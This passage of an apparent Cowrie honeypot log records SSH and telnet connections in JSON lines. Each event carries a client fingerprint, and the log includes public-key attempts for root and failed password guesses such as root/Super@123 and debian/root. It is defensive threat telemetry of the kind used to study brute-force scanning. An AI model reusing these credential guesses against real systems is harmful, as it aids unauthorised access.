{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:38:21.781229Z","src_ip":"198.98.55.71","session":"c953400a7410","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.48.241","src_port":60050,"dst_ip":"159.203.135.109","dst_port":22,"session":"783016543dfe","protocol":"ssh","message":"New connection: 98.70.48.241:60050 (159.203.135.109:22) [session: 783016543dfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:38:32.819310Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:38:32.824872Z","src_ip":"98.70.48.241","session":"783016543dfe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:38:33.011545Z","src_ip":"98.70.48.241","session":"783016543dfe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"123","message":"login attempt [hadoop/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:38:33.770739Z","src_ip":"98.70.48.241","session":"783016543dfe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:38:34.842281Z","src_ip":"47.239.15.75","session":"ffdec6feba7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:38:34.957559Z","src_ip":"98.70.48.241","session":"783016543dfe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"96.8.116.34","src_port":41368,"dst_ip":"10.17.0.5","dst_port":22,"session":"d1e537dcf3fe","protocol":"ssh","message":"New connection: 96.8.116.34:41368 (10.17.0.5:22) [session: d1e537dcf3fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:38:44.419243Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:38:44.424306Z","src_ip":"96.8.116.34","session":"d1e537dcf3fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:38:44.467207Z","src_ip":"96.8.116.34","session":"d1e537dcf3fe","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fa:14:2e:ef:e1:13:a3:af:e5:bd:b2:50:e5:5a:3f:eb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDO+tLvqRchoudf54uRnzYyL+9jejtpa0Soj+zd7NpoKBL7Bt6bMSnaLOfrpfMM7313r4fjFFL17dLRvw4LeHA45n4jjNKjmYNwBZmvd6mbbf4gkUZgaz+S7J5m7LrmEGNfwLS0zNJYl3wn/2pbHe8oaTfYIsWFdJnTS0KwSUD3Yi0/qiLyfEiVVruwN3UyilzjIuxK4FBzwkSKz91MvPZ4QiDbQjB2jHlazxb7X0wqpemXL+KRGbPaSL25ibJusGYCDXHHT5ooiTLUKAaSWP43FcneQvKUd9R7MVTmCIEWV1ULj+3SO7zsiZovc49AWUddAnAXT1oWiSmvzW7z69Fx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fa:14:2e:ef:e1:13:a3:af:e5:bd:b2:50:e5:5a:3f:eb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:38:44.662601Z","src_ip":"96.8.116.34","session":"d1e537dcf3fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fa:14:2e:ef:e1:13:a3:af:e5:bd:b2:50:e5:5a:3f:eb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDO+tLvqRchoudf54uRnzYyL+9jejtpa0Soj+zd7NpoKBL7Bt6bMSnaLOfrpfMM7313r4fjFFL17dLRvw4LeHA45n4jjNKjmYNwBZmvd6mbbf4gkUZgaz+S7J5m7LrmEGNfwLS0zNJYl3wn/2pbHe8oaTfYIsWFdJnTS0KwSUD3Yi0/qiLyfEiVVruwN3UyilzjIuxK4FBzwkSKz91MvPZ4QiDbQjB2jHlazxb7X0wqpemXL+KRGbPaSL25ibJusGYCDXHHT5ooiTLUKAaSWP43FcneQvKUd9R7MVTmCIEWV1ULj+3SO7zsiZovc49AWUddAnAXT1oWiSmvzW7z69Fx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:38:44.666922Z","src_ip":"96.8.116.34","session":"d1e537dcf3fe","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ae:6c:60:b7:b0:73:57:7b:e6:21:a4:2d:d4:73:87:d6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDD0OY3nZJPMBlAd6rWY2MG0MV3svFAOtKD/wYWnkvTd02vKuuP/yZC5Z4KvlBQq+qzMvd/tVBXoxSW/U8fHoNZBJo2jGHiCg1GLk6ds4kqimTshJzVygx08DkM1XwJzoV67F401RcxsCZpBfRMxySnuFTeVekyEhQr8JOPinOud0SaH3BgDtTpW/Gz7KZlPVUvQ/+of6DWHTNptbMUkpTR7NvxtGz2qhuBAzfkSshfrmVnPu2X0xG3tLBQBaumsXH3tjJRMWn5TRPFKIzk/2G4/RRVnmbpFjwXDhWJFD6F+4bO8bxufINqEm42N4PO+Kf7/CGWR0E/YiozKx98QtPf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ae:6c:60:b7:b0:73:57:7b:e6:21:a4:2d:d4:73:87:d6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:38:44.711922Z","src_ip":"96.8.116.34","session":"d1e537dcf3fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ae:6c:60:b7:b0:73:57:7b:e6:21:a4:2d:d4:73:87:d6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDD0OY3nZJPMBlAd6rWY2MG0MV3svFAOtKD/wYWnkvTd02vKuuP/yZC5Z4KvlBQq+qzMvd/tVBXoxSW/U8fHoNZBJo2jGHiCg1GLk6ds4kqimTshJzVygx08DkM1XwJzoV67F401RcxsCZpBfRMxySnuFTeVekyEhQr8JOPinOud0SaH3BgDtTpW/Gz7KZlPVUvQ/+of6DWHTNptbMUkpTR7NvxtGz2qhuBAzfkSshfrmVnPu2X0xG3tLBQBaumsXH3tjJRMWn5TRPFKIzk/2G4/RRVnmbpFjwXDhWJFD6F+4bO8bxufINqEm42N4PO+Kf7/CGWR0E/YiozKx98QtPf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:38:44.721490Z","src_ip":"96.8.116.34","session":"d1e537dcf3fe","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b0:5c:cf:f3:84:4e:1f:85:ab:01:d7:f1:c2:ce:9b:64","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDou6FjUTumLras+qXY7c8FSKv65b3lTeGdFbqOMLpefS0PP4Iot+DspFRTfrKxhQlPcxMIRxZplveNoJ9qaf19bSQs96lq3cRPuwLZ0tXWkt+UltN06NC6UKQ0Gp9ePLlBUbcHXysFPCtuPzJ7es9YHSypCESVA+HlVsyeQH8gv4iiX11mimHLRzOp+5WqI8dT+AXjtrwXih74WS59+6HOctPnnIAWX/llzOU8CoAQwsDkzig4G0t+5p24HIKLiA4OQoHR3oEhtnU4WBsCYR0Lnh1r6HR1hW+MOpUrT0n+GIaQjDAM8LLpgWjHgMGmVXPu+dNtLge50s5mNwtdQDDP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b0:5c:cf:f3:84:4e:1f:85:ab:01:d7:f1:c2:ce:9b:64","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:38:44.766707Z","src_ip":"96.8.116.34","session":"d1e537dcf3fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b0:5c:cf:f3:84:4e:1f:85:ab:01:d7:f1:c2:ce:9b:64","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDou6FjUTumLras+qXY7c8FSKv65b3lTeGdFbqOMLpefS0PP4Iot+DspFRTfrKxhQlPcxMIRxZplveNoJ9qaf19bSQs96lq3cRPuwLZ0tXWkt+UltN06NC6UKQ0Gp9ePLlBUbcHXysFPCtuPzJ7es9YHSypCESVA+HlVsyeQH8gv4iiX11mimHLRzOp+5WqI8dT+AXjtrwXih74WS59+6HOctPnnIAWX/llzOU8CoAQwsDkzig4G0t+5p24HIKLiA4OQoHR3oEhtnU4WBsCYR0Lnh1r6HR1hW+MOpUrT0n+GIaQjDAM8LLpgWjHgMGmVXPu+dNtLge50s5mNwtdQDDP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:38:44.771056Z","src_ip":"96.8.116.34","session":"d1e537dcf3fe","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"52:13:c7:71:15:33:dd:54:e8:08:b9:d8:4c:d6:15:4e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEArDPbsIIuuVzZmVMqdCNxNSX7fQJsZ4k58v8z8SpvX6UxtoT0TPlTO5wBKa6/ejkVX1FjWL6kqXCFjO57FPS6g6ZOjBNYlUc40bbKXPN4ZKl83y+9wiOajCypMo4u2Sjr971sDS69UZVmzMUBzQ1U2oZLgZyMx1iRrpj0kE198hzFNGbm9J5rAyli5bKfHGqQD0TniEEpuY3FmelqQ+IabmBVq5fTH7MktyfzKMhDfkddtHuXHdyUDsSKkk0hXs3lYTPHcsM498M0ammPzRx74+8YI7lqYAYWIm9jvJE0n2JAv38fCKluzb6YzniEBQL+RDlm3vD7jp+hMxedmOugEw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 52:13:c7:71:15:33:dd:54:e8:08:b9:d8:4c:d6:15:4e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:38:44.815603Z","src_ip":"96.8.116.34","session":"d1e537dcf3fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"52:13:c7:71:15:33:dd:54:e8:08:b9:d8:4c:d6:15:4e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEArDPbsIIuuVzZmVMqdCNxNSX7fQJsZ4k58v8z8SpvX6UxtoT0TPlTO5wBKa6/ejkVX1FjWL6kqXCFjO57FPS6g6ZOjBNYlUc40bbKXPN4ZKl83y+9wiOajCypMo4u2Sjr971sDS69UZVmzMUBzQ1U2oZLgZyMx1iRrpj0kE198hzFNGbm9J5rAyli5bKfHGqQD0TniEEpuY3FmelqQ+IabmBVq5fTH7MktyfzKMhDfkddtHuXHdyUDsSKkk0hXs3lYTPHcsM498M0ammPzRx74+8YI7lqYAYWIm9jvJE0n2JAv38fCKluzb6YzniEBQL+RDlm3vD7jp+hMxedmOugEw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:38:44.820776Z","src_ip":"96.8.116.34","session":"d1e537dcf3fe","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fc:b2:90:66:c3:f9:9a:69:fb:c5:52:db:4c:77:fb:0e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLpAoaW70oyhWpGnRR6SuECkpyGve9fZeaM1n41eTKs1bfpMr3m0vncCekVm6aXHQUQBuu9++EnooAxQ/itIg83v856b3M/4y9J8yTGtNFHjS7h6z8swSKSxUJnFn4w23GY+apvHZlhNBRH0HmYKtEq2L/prAw+Yqi2ennWkn7cpq1l9k4xG0zZ1ZwgCcrDDy9+ZtTmwbXk9xVqWiqhjVGTjxWRg2YMXFMzw4BruhRXQc3UDVTsQrhAphVaMfDFqkQjY4dGfUx1WfWF8DSu3aJGeNKZAbQ+iNoVJmuGgoVyviejWVj1VJOCtA6HFjm2eHACZE3jvu+U/6yH5n7yF2r","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fc:b2:90:66:c3:f9:9a:69:fb:c5:52:db:4c:77:fb:0e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:38:44.866300Z","src_ip":"96.8.116.34","session":"d1e537dcf3fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fc:b2:90:66:c3:f9:9a:69:fb:c5:52:db:4c:77:fb:0e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLpAoaW70oyhWpGnRR6SuECkpyGve9fZeaM1n41eTKs1bfpMr3m0vncCekVm6aXHQUQBuu9++EnooAxQ/itIg83v856b3M/4y9J8yTGtNFHjS7h6z8swSKSxUJnFn4w23GY+apvHZlhNBRH0HmYKtEq2L/prAw+Yqi2ennWkn7cpq1l9k4xG0zZ1ZwgCcrDDy9+ZtTmwbXk9xVqWiqhjVGTjxWRg2YMXFMzw4BruhRXQc3UDVTsQrhAphVaMfDFqkQjY4dGfUx1WfWF8DSu3aJGeNKZAbQ+iNoVJmuGgoVyviejWVj1VJOCtA6HFjm2eHACZE3jvu+U/6yH5n7yF2r","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:38:44.871171Z","src_ip":"96.8.116.34","session":"d1e537dcf3fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:38:44.917635Z","src_ip":"96.8.116.34","session":"d1e537dcf3fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.70786786079407,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:38:57.976438Z","src_ip":"45.58.127.90","session":"9d9a87445077","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":44224,"dst_ip":"159.203.135.109","dst_port":22,"session":"af6cb325839e","protocol":"ssh","message":"New connection: 87.106.29.151:44224 (159.203.135.109:22) [session: af6cb325839e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:38:59.418226Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:38:59.424546Z","src_ip":"87.106.29.151","session":"af6cb325839e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:38:59.518275Z","src_ip":"87.106.29.151","session":"af6cb325839e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Super@123","message":"login attempt [root/Super@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:38:59.925130Z","src_ip":"87.106.29.151","session":"af6cb325839e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:39:01.023942Z","src_ip":"87.106.29.151","session":"af6cb325839e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":40944,"dst_ip":"159.203.135.109","dst_port":22,"session":"f88d87f88bb9","protocol":"ssh","message":"New connection: 47.239.15.75:40944 (159.203.135.109:22) [session: f88d87f88bb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:39:02.674492Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.55.71","src_port":37212,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa4895d65d99","protocol":"ssh","message":"New connection: 198.98.55.71:37212 (159.203.135.109:22) [session: fa4895d65d99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:39:12.191677Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:39:12.206440Z","src_ip":"198.98.55.71","session":"fa4895d65d99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:39:12.215958Z","src_ip":"198.98.55.71","session":"fa4895d65d99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"root","message":"login attempt [debian/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:39:12.277192Z","src_ip":"198.98.55.71","session":"fa4895d65d99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:39:13.287935Z","src_ip":"198.98.55.71","session":"fa4895d65d99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.204.138.187","src_port":54994,"dst_ip":"10.17.0.5","dst_port":23,"session":"add40449930d","protocol":"telnet","message":"New connection: 92.204.138.187:54994 (10.17.0.5:23) [session: add40449930d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:39:18.538275Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.48.241","src_port":57410,"dst_ip":"159.203.135.109","dst_port":22,"session":"da91889e5445","protocol":"ssh","message":"New connection: 98.70.48.241:57410 (159.203.135.109:22) [session: da91889e5445]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:39:34.513233Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:39:34.518024Z","src_ip":"98.70.48.241","session":"da91889e5445","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com",